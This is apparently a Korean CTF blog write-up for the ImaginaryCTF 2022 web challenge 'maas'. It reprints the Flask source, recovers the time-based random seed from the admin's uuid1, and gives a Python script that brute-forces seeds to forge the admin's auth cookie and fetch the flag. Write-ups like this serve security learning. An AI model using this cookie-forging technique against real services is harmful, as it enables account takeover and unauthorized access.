-
[imaginary] maasCTF/web 2022. 7. 19. 11:05
여러 ctf를 풀며 pwnable만 하는 것이 아닌 web이나 misc, reversing도 풀었지만 블로그에 올리기에는 좀 그런 아주 기초적인 난이도의 문제들이라 올리지 않고 있었다. 하지만 이번 ctf에서 어떤 웹 문제 하나를 풀었기에 라업을 써보려고 한다
쿠키로 인증을 하는 시스템인가보다!
from flask import Flask, render_template, request, make_response, redirect from hashlib import sha256 import time import uuid import random app = Flask(__name__) memes = [l.strip() for l in open("memes.txt").readlines()] users = {} taken = [] def adduser(username): if username in taken: return "username taken", "username taken" password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)]) cookie = sha256(password.encode()).hexdigest() users[cookie] = {"username": username, "id": str(uuid.uuid1())} taken.append(username) return cookie, password @app.route('/') def index(): return redirect("/login") @app.route('/users') def listusers(): return render_template('users.html', users=users) @app.route('/users/<id>') def getuser(id): for k in users.keys(): if users[k]["id"] == id: return f"Under construction.<br><br>User {users[k]['username']} is a very cool user!" @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == "POST": resp = make_response(redirect('/home')) cookie = sha256(request.form["password"].encode()).hexdigest() resp.set_cookie('auth', cookie) return resp else: return render_template('login.html') @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == "POST": cookie, password = adduser(request.form["username"]) resp = make_response(f"Username: {request.form['username']}<br>Password: {password}") resp.set_cookie('auth', cookie) return f"Username: {request.form['username']}<br>Password: {password}" else: return render_template('register.html') @app.route('/home', methods=['GET']) def home(): cookie = request.cookies.get('auth') username = users[cookie]["username"] if username == 'admin': flag = open('flag.txt').read() return render_template('home.html', username=username, message=f'Your flag: {flag}', meme=random.choice(memes)) else: return render_template('home.html', username=username, message='Only the admin user can view the flag.', meme=random.choice(memes)) @app.errorhandler(Exception) def handle_error(e): return redirect('/login') def initialize(): random.seed(round(time.time(), 2)) adduser("admin") initialize() app.run('0.0.0.0', 8080)
소스코드이다.
맨 처음, 아래에 있는 initialize 함수에서 현재 시간을 기반으로 랜덤 시드 값을 설정해주고 admin 계정을 만들어준다.
register 함수에서는 아이디를 입력하면 adduser 함수로 넘어가 아이디 중복검사를 진행한 후 비밀번호를 자동으로 만들어서 알려준다. db에 들어가는 id는 uuid를 통해 만들어주고, 랜덤으로 30글자 길이의 password를 생성한 후 sha256으로 해싱을 해준 뒤 cookie값으로 만들어준다.
로그인 후에는 home 함수에서 auth라는 이름을 가진 쿠키의 값을 가져와 admin의 쿠키인지에 따라 출력 결과가 달라진다.
여기까지 분석을 했다면 admin 계정 생성 당시의 seed를 구해 그때와 똑같은 랜덤 값이 나오도록 해준 뒤, auth라는 이름의 쿠키를 생성해주고 /home으로 가야 한다.
그러면 admin 계정의 생성시간을 도대체 어떻게 알 수 있을까?
그에 대한 힌트는 adduser 함수에 있다.
id 생성을 uuid1으로 한다. uuid1은 현재 시간을 기반으로 생성되는 문자열이기에 admin의 id를 알아내면 된다.
그렇다면 또 id는 어떻게 얻을까?
getuser 함수에서 알 수 있다. db에 있는 id를 기반으로 유저의 목록을 보여주기에 admin 설명 페이지로 가면 id를 알 수 있다.
주소창을 봐보자, admin의 아이디가 있다.
admin의 아이디는 761e892e-065f-11ed-9540-b2.... 이다. 뒤쪽 부분은 MAC 주소라 혹시 몰라서 가리고 올렸다.
이를 기반으로 admin 계정의 생성 시간을 알아보자
https://createuuid.com/ko/decoder/
아주 다행히도 uuid 디코더가 있다.
admin 계정의 생성 시간은 2022년 7월 18일 오후 3시 4분 19초이다!
서버가 시작됨과 동시에 seed값이 설정되고 uuid1으로 admin의 id가 생성되니 seed 값도 우리가 알 수 있게 되었다.
unix timestamp의 값인 1658124259가 seed 값이 될 것이다.
하지만 round 함수로 소수점 둘째 자리까지 표현했기에 seed 값은 1658124259.00 ± 3.00 정도로 추측된다
이를 바탕으로 payload를 짜보았다.
import requests, time import random from hashlib import sha256 i = 1658124259.00 for j in range(100000): random.seed(round(i, 2)) password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)]) cookie = sha256(password.encode()).hexdigest() URL = "http://maas.chal.imaginaryctf.org/home" header = {"cookie" : f"auth = {cookie}"} res = requests.get(URL, headers=header) if "ictf" in res.text: print(res.text) break else: print(header) i += 0.01
seed 값은 1658124259.00 부터 시작해 쿠키를 만들어준 뒤, 로그인을 시도한다. flag가 출력된다면 request로 받아온 전체를 출력하고, flag가 출력되지 않았다면 seed값을 0.01 더해준 뒤 계속 반복한다.
운이 좋게도 얼마 지나지 않아 flag가 출력됐다!
웹이 주 분야는 아니지만 800팀 중에 43팀밖에 풀지 않은 문제를 풀어서 좀 자신감이 차올랐다...
앞으로 웹도 열심히 공부해서 풀어봐야겠다
참고 자료
https://ssup2.github.io/theory_analysis/UUID/
'CTF > web' 카테고리의 다른 글
[TSG] Upside-down cake (혹시나 역시나 자바 스크립트) (1) 2023.11.05 [imaginary] roo cookie (1) 2022.07.19